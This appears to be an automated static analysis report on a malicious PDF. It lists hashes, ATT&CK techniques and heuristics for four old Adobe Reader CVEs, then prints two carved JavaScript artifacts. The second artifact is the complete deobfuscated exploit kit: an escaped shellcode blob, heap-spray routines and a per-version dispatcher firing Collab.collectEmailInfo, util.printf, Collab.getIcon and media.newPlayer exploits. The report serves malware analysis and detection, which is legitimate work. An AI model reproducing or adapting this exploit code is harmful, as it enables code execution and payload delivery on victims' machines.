Malicious PDF — malware analysis report

Static analysis result for SHA-256 2c1b41aede272dfc…

MALICIOUS

PDF

45.1 KB First seen: 2013-08-03
MD5: d09460bb03a52f68b1781a610497e749 SHA-1: 321639d621050bf7744fc1b06bff11b565d5dff3 SHA-256: 2c1b41aede272dfc42268578589d9bfb0826d09329f7a6444b2eead5d2973bbb
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically targeting functions like media.newPlayer, Collab.collectEmailInfo, Collab.getIcon, and util.printf. The deobfuscated JavaScript indicates a heap spray technique, likely intended to download and execute a second-stage payload. The ML classifier strongly flags this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB15A 523 bytes
SHA-256: 44afbee5a9280f6943b06dc2c6b7fe5c5e74f7530ae9b19169147e1be1940dae
Preview script
First 1,000 lines of the extracted script
dzlk='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('jvtc=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=jvtc[v+a[6]](10,4);
s+='tr';
ncx=e('S'+'tring.fro'+jvtc[s](1,9));
q=jvtc[s](14);
yltrs = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=yltrs.length');
for (i = 0; i < k; i+=2) {
	mgcdk = yltrs[i+1] + ('erybjkerl',yltrs[i]);
	dzlk += ncx(mgcdk);
}
e(dzlk);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: a06a1cb2eed038abee5b36de43f54716960c4056a6078fac2fe8e7984c8b2f2e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u42b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%udb34%ue2aa%uc3fa%ue5e8%uffff%u32ff%udad7%udbdb%u5a85%u8737%udbda%u52db%u563c%ucb94%ub456%uea8f%u8c00%u888a%u8888%u8888%u8888%u888e%ub388%udadf%udbdb%u8d8e%ub388%ub5b4%udbdb%uaeb3%ub7a9%u8fb6%u55b3%ud595%u3337%udb93%udbdb%u338b%udba7%udbdb%u0b24%u1f58%ub3d3%u3494%ude94%u338b%udbb7%udbdb%u0b24%u1b5e%uccae%u8fb1%u2882%ub371%u25a9%ucd68%uc633%udbdb%u8bdb%u8a33%udbdb%u24db%u880b%u25b1%u52b3%udab4%u3366%udbd3%udbdb%u338b%udbe7%udbdb%u0b24%ueabb%ubf1b%u8b50%u50eb%ud789%u8950%u50cf%uf3a9%uc362%udbdb%ueadb%uea24%u771b%ubae7%ud9a7%ufbf7%u141a%udad6%u391c%u5a2b%u8024%u9167%u50b1%ucb99%uc950%u02ae%u9f52%uc7ff%u18ba%u50bb%uffb7%u50ff%ue79e%u8f50%ua3de%u31da%u9150%u50c3%ufb81%u30da%uef38%u5092%u50ef%u35da%u24ea%u1bea%u7727%u1b5f%udcaf%u141a%udad6%u301c%ue02f%uffa7%uaef3%u503a%uff81%u30da%u50bd%u90d7%u8150%udac7%u5030%u50df%u33da%u9f52%uc7ff%u19ba%udbd3%u3433%u2425%ub324%uafaf%ue1ab%uf4f4%ubcb2%ub4a9%ubfb0%ua8b4%ub4af%uadbe%ub0a8%ubcb4%uf5b4%ub4b8%uf4b6%uf5bf%ub3ab%ue4ab%ue6bd%ue9ef%ubefd%ueee6%u00db';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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